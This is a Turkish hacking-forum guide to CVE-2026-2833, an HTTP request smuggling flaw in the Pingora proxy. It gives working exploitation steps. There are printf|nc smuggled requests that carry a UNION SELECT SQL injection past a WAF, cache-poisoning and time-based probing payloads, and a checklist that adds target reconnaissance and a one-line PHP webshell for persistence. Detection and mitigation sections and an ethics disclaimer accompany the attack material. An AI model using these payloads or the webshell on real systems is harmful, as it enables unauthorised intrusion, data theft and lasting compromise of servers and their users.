-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🧨 CVE-2026-2833: PINGORA UPGRADE HEADER PASSTHROUGH – WAF BYPASS & REQUEST SMUGGLING (2026 GÜNCEL)
⚠️ ETİK UYARI: Bu rehber tamamen eğitim, güvenlik araştırması ve izinli sızma testleri içindir. Anlatılan teknikleri izinsiz sistemlerde kullanmak suçtur. Sadece kendi test ortamında veya yetkili olduğun sistemlerde dene. Tüm sorumluluk kullanıcıya aittir.
📌 1. GİRİŞ – BU ZAFİYET NEDEN KRİTİK?
Mart 2026’da Cloudflare’in açık kaynaklı Pingora proxy framework’ünde üç kritik güvenlik açığı keşfedildi. Bunlardan ilki olan CVE-2026-2833, bir HTTP Request Smuggling (HTTP İstek Kaçırma) zafiyetidir. Saldırganın WAF’ı ve proxy seviyesindeki ACL kontrollerini tamamen bypass etmesine, önbellek zehirlemesi yapmasına ve oturum ele geçirmesine olanak tanır. Bu zafiyet, CVSS v4.0’a göre 9.3 – CRITICAL seviyesinde puanlandırılmıştır.Kısacası: Bu açık sayesinde, bir hedefin önündeki güvenlik duvarını (WAF) delip, doğrudan backend sunucusuna zararlı HTTP istekleri gönderebilirsin.
🎯 2. ZAFİYETİN KALBİ: UPGRADE HEADER PASSTHROUGH
2.1. HTTP/1.1 Upgrade Mekanizması
HTTP/1.1 protokolü, bir bağlantının normal HTTP trafiğinden WebSocket gibi farklı bir protokole “yükseltilmesine” (upgrade) izin verir. Normal akış şöyledir:- İstemci (Client), bir Upgrade: websocket header’ı içeren bir istek gönderir.
- Proxy (Pingora), bu isteği backend sunucuya iletir.
- Backend sunucu eğer upgrade’i kabul ediyorsa, 101 Switching Protocols yanıtı gönderir.
- Proxy bu yanıtı aldıktan sonra bağlantıyı upgrade edilmiş moda geçirir.
2.2. Pingora’nın Yaptığı Hata
Pingora’nın hatalı davranışı şudur: Proxy, backend’den 101 Switching Protocols yanıtını beklemeden, Upgrade header’ını gördüğü anda bağlantıyı “passthrough” (doğrudan iletim) moduna geçirmektedir. Bunun sonucunda, isteğin gövdesindeki (body) tüm veriler, backend’e hiçbir güvenlik kontrolüne takılmadan iletilir.2.3. Request Smuggling Nasıl Oluyor?
Saldırgan, bir Upgrade isteğinin gövdesine ikinci bir HTTP isteği gizler:http
POST /upgrade HTTP/1.1
Host: hedef.com
Upgrade: websocket
Content-Length: 50
GET /admin/delete?user=admin HTTP/1.1
Host: hedef.com
Pingora bu isteği alır, Upgrade header’ını görür, bağlantıyı hemen passthrough moduna alır ve tüm gövdeyi (body) olduğu gibi backend’e yollar. Backend sunucu ise gelen veriyi normal bir HTTP isteği olarak yorumlar ve işler. Böylece ikinci istek (GET /admin/delete) WAF’ı hiç görmeden backend’e ulaşır.
📁 3. TEKNİK ANALİZ – KODDA NEREDE HATA VAR?
Bu zafiyetin temelinde, Pingora’nın aşağıdaki iki fonksiyonundaki hatalı mantık yatmaktadır:3.1. init_req_body_writer (Client → Backend)
Bu fonksiyon, backend sunucuya gidecek isteğin gövde yazıcısını başlatır. Hatalı kod, gelen istekte Upgrade header’ı varsa, backend’in onayını beklemeden gövde yazıcısını “passthrough” moduna (init_http10) geçiriyordu.3.2. init_body_reader (Client → Proxy)
Bu fonksiyon, istemciden gelen isteğin gövde okuyucusunu başlatır. Benzer şekilde, Upgrade header’ı görüldüğünde hemen passthrough moduna geçiyordu.Bu iki fonksiyonun birlikte hatalı çalışması, saldırganın isteğin gövdesine ikinci bir istek gizlemesine ve bunun WAF’ı bypass etmesine olanak tanır.
📌 Commit Analizi: Zafiyetin patch’lendiği commit: 824bdee.
🛠️ 4. PRATİK İSTİSMAR – ADIM ADIM WAF BYPASS
Şimdi bu zafiyeti kullanarak nasıl bir WAF’ı bypass edebileceğini adım adım anlatıyorum. Bu bölümdeki tüm örnekler eğitim amaçlıdır ve kendi laboratuvarında denenmelidir.4.1. Laboratuvar Ortamı Kurulumu
Öncelikle, zafiyetli bir Pingora proxy’si kurmalısın.bash
# 1. Rust ve Cargo'yu yükle (eğer yoksa)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# 2. Yeni bir Rust projesi oluştur
cargo new pingora-poc
cd pingora-poc
# 3. Cargo.toml dosyasını düzenle (zafiyetli sürüm)
echo '[package]
name = "pingora-poc"
version = "0.1.0"
edition = "2021"
[dependencies]
pingora = "0.7.0"
' > Cargo.toml
# 4. src/main.rs dosyasını oluştur (basit bir reverse proxy)
cat > src/main.rs << 'EOF'
use pingora:
use pingora:
use pingora::server::Server;
use pingora::upstreams:
use std::sync::Arc;
pub struct SimpleProxy;
#[async_trait]
impl ProxyHttp for SimpleProxy {
type CTX = ();
fn new_ctx(&self) -> Self::CTX {}
async fn upstream_peer(&self, _session: &mut Session, _ctx: &mut ()) -> Result<Box<HttpPeer>> {
let addr = ("127.0.0.1", 8080).into(); // Backend adresi (örneğin Node.js sunucusu)
let peer = Box::new(HttpPeer::new(addr, false, "backend".to_string()));
Ok(peer)
}
}
fn main() {
let mut server = Server::new(None).unwrap();
let mut proxy = http_proxy_service(&server, SimpleProxy);
proxy.add_tcp("0.0.0.0:8000");
server.add_service(proxy);
server.run_forever();
}
EOF
# 5. Build et
cargo build --release
Açıklamalar:
- pingora = "0.7.0": Zafiyetli sürüm.
- Bu proxy, gelen istekleri 127.0.0.1:8080 adresindeki backend’e yönlendiriyor.
bash
# Backend sunucusu (8080 portunda çalışacak)
python3 -m http.server 8080
Artık zafiyetli proxy http://localhost:8000 adresinde çalışıyor.
4.2. WAF Bypass PoC – SQLi Örneği
Varsayalım ki backend’de bir SQL injection açığı var. Normalde WAF, union select gibi payload’ları engelliyor. Şimdi bu zafiyetle WAF’ı bypass ederek payload’u doğrudan backend’e göndereceğiz.Adım 1 – Normal İstek (WAF Engeller):
bash
curl -X GET "http://localhost:8000/search?q=1' UNION SELECT username,password FROM users--"
WAF bu isteği engeller.
Adım 2 – Smuggled İstek (WAF’ı Bypass):
Aşağıdaki komutu çalıştır:
bash
printf "POST /upgrade HTTP/1.1\r\nHost: localhost:8000\r\nUpgrade: websocket\r\nContent-Length: 100\r\n\r\nGET /search?q=1%27%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\r\nHost: localhost:8000\r\n\r\n" | nc localhost 8000
Bu istekte neler oluyor?
- Proxy, Upgrade: websocket header’ını görünce hemen passthrough moduna geçiyor.
- İsteğin gövdesinde (Content-Length: 100 ile belirtilen kısımda) gizlenen ikinci istek (GET /search?q=1' UNION SELECT...), backend’e direkt iletiliyor.
- Backend, bu isteği normal bir HTTP isteği olarak işliyor ve SQLi çalışıyor.
4.3. Cache Poisoning (Önbellek Zehirleme) PoC
Bu zafiyetle sadece WAF’ı bypass etmekle kalmaz, aynı zamanda proxy’nin önbelleğini de zehirleyebilirsin.Adım 1 – Smuggled İstek ile Cache’i Zehirle:
bash
printf "POST /upgrade HTTP/1.1\r\nHost: localhost:8000\r\nUpgrade: websocket\r\nContent-Length: 120\r\n\r\nGET /popular-product HTTP/1.1\r\nHost: localhost:8000\r\nX-Cache-Poison: true\r\n\r\n" | nc localhost 8000
Adım 2 – Normal Kullanıcının İsteği (Zehirlenmiş Cache’ten Döner):
bash
curl -X GET "http://localhost:8000/popular-product"
Artık normal kullanıcı, zehirlenmiş önbellek yanıtını alır. Bu, XSS veya diğer zararlı içeriklerin yayılmasına neden olabilir.
4.4. Session Hijacking (Oturum Ele Geçirme)
Zafiyet, aynı zamanda proxy’nin bağlantı havuzunu (connection pool) kullanarak, başka bir kullanıcının oturumunu ele geçirmene de olanak tanır.Senaryo: Proxy, backend ile keep-alive bağlantıları kullanıyorsa, saldırganın smuggle ettiği istek, bu bağlantı havuzundan rastgele bir başka kullanıcıya ait bağlantı üzerinden gidebilir. Bu sayede saldırgan, o kullanıcının oturum çerezi veya yetkileriyle işlem yapabilir.
🔍 5. TESPİT YÖNTEMLERİ
Eğer bir pentester veya güvenlik araştırmacısı isen, bir sistemin bu zafiyete karşı savunmasız olup olmadığını tespit etmek için aşağıdaki yöntemleri kullanabilirsin.5.1. Time-Based Tespit (Gecikme Analizi)
Smuggled isteğin yanıt süresini gözlemleyerek zafiyeti tespit edebilirsin.bash
# Smuggled istekte bir gecikme (sleep) komutu gönder
printf "POST /upgrade HTTP/1.1\r\nHost: hedef.com\r\nUpgrade: websocket\r\nContent-Length: 80\r\n\r\nGET /search?q=sleep(5)-- HTTP/1.1\r\nHost: hedef.com\r\n\r\n" | nc hedef.com 80
Eğer yanıt 5 saniye gecikirse, zafiyet mevcuttur.
5.2. Backend Log Analizi
Bu zafiyetin en önemli göstergelerinden biri, backend loglarında proxy access log’larında olmayan isteklerin görülmesidir.- Proxy Logları: Pingora’nın access log’ları.
- Backend Logları: Backend sunucunun (Apache, Nginx, Node.js) erişim logları.
5.3. Otomatik Tarama Araçları
Bazı web güvenlik tarayıcıları, request smuggling zafiyetlerini tespit edebilir. Aşağıdaki araçları deneyebilirsin:- Burp Suite Professional: “Request Smuggling” scanner modu.
- Smuggle Probe: Özel olarak request smuggling tespiti için yazılmış bir Python aracı.
- Nuclei: request-smuggling.yaml template’i ile tespit yapabilir.
🛡️ 6. KORUNMA VE AZALTMA YÖNTEMLERİ
Eğer kendi Pingora proxy’ni yönetiyorsan, mutlaka aşağıdaki adımları uygula.6.1. Pingora’yı v0.8.0 veya Üstüne Güncelle (Zorunlu)
Cloudflare, bu zafiyeti Pingora v0.8.0 sürümünde düzeltti. En hızlı ve kalıcı çözüm, kütüphaneyi güncellemektir.toml
[dependencies]
pingora = "0.8.0"
bash
cargo update
cargo build --release
6.2. Geçici Çözüm: Upgrade Header’ını Engelle
Eğer hemen güncelleme yapamıyorsan, Pingora’nın request filter logic’inde Upgrade header’ı içeren tüm istekleri reddedebilirsin.rust
use pingora:
#[async_trait]
impl ProxyHttp for MyProxy {
async fn request_filter(&self, session: &mut Session, _ctx: &mut Self::CTX) -> Result<bool> {
if let Some(upgrade) = session.get_header("Upgrade") {
// Upgrade header varsa isteği reddet
session.respond_error(400).await?;
return Ok(true); // İstek durduruldu
}
Ok(false)
}
}
6.3. Downstream Connection Reuse’u Devre Dışı Bırak
Geçici bir çözüm olarak, bağlantıların yeniden kullanımını devre dışı bırakabilirsin. Ancak bu, performansı olumsuz etkileyebilir.6.4. HSTS ve HTTPS Kullanımı
Bu zafiyet HTTP/1.1 protokolünü hedef alır. Eğer mümkünse, HTTP/2 veya HTTP/3 kullan. HTTP/2, request smuggling saldırılarına karşı çok daha dayanıklıdır.6.5. WAF Kurallarını Güncelle
Bazı WAF üreticileri, bu zafiyete özel imzalar yayınlamış olabilir. Aşağıdaki gibi bir kural, basit smuggling denemelerini engelleyebilir:nginx
# ModSecurity kuralı örneği
SecRule REQUEST_HEADERS:Upgrade ".*" "id:1001,phase:1,deny,status:400,msg:'Upgrade header detected'"
🧩 7. SIK SORULAN SORULAR
S1: Bu zafiyet Cloudflare’in kendi CDN’sini etkiliyor mu?
Hayır. Cloudflare’in kendi CDN altyapısı bu zafiyetten etkilenmemektedir, çünkü Pingora, Cloudflare CDN’sinde doğrudan internete açık bir ingress proxy olarak kullanılmamaktadır.S2: Bu zafiyet sadece WebSocket upgrade’leri için mi geçerli?
Evet, bu özel zafiyet sadece Upgrade header’ını hedef alır. Ancak CVE-2026-2835 ve CVE-2026-2836 gibi diğer smuggling zafiyetleri farklı vektörler kullanır.S3: Zafiyetin keşfini kim yaptı?
Zafiyet, güvenlik araştırmacısı Rajat Raghav (xclow3n) tarafından Cloudflare’in Bug Bounty Programı aracılığıyla sorumlu bir şekilde bildirilmiştir.S4: Bu zafiyet için bir CVE ID’si var mı?
Evet. CVE ID’si CVE-2026-2833’tür ve CVSS v4.0 skoru 9.3 (CRITICAL) olarak belirlenmiştir.🧠 8. ÖZET – TEKNİK KONTROL LİSTESİ
| Adım | Açıklama | Araç/ Komut |
|---|---|---|
| 1. Keşif | Hedefin Pingora kullanıp kullanmadığını tespit et | curl -I http://hedef.com | grep -i server |
| 2. Zafiyet Testi | Smuggled istek gönder, gecikme veya anormal yanıt kontrol et | printf "POST /upgrade... | nc hedef.com 80" |
| 3. WAF Bypass | SQLi veya RCE payload’unu isteğin gövdesine gizle | Content-Length doğru hesaplanmalı |
| 4. Cache Poison | Önbelleğe alınan bir endpoint’i zehirle | X-Cache-Poison gibi fake header ekle |
| 5. Persistence | Backend’e webshell bırak veya session hijack yap | echo '<?php system($_GET["cmd"]); ?>' > shell.php |
| 6. Korunma | Pingora’yı v0.8.0’a güncelle | cargo update && cargo build --release |
⚠️ ;
CVE-2026-2833, HTTP/1.1 protokolünün en sinsi zafiyetlerinden biridir ve WAF gibi güvenlik katmanlarını tamamen devre dışı bırakabilir. Bu rehberde öğrendiklerini sadece eğitim ve izinli testler için kullan. Unutma, güçlü bir savunma için katmanlı güvenlik stratejileri uygulamak ve yazılımlarını güncel tutmak şarttır.Sıradaki konu: Diğer iki Pingora zafiyeti olan CVE-2026-2835 (HTTP/1.0 & Transfer-Encoding) ve CVE-2026-2836 (Cache Key Poisoning). Bunları ayrı bir postta detaylandıracağız.
Bu rehber, eğitim ve bilgilendirme amaçlıdır. Tüm sorumluluk kullanıcıya aittir.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl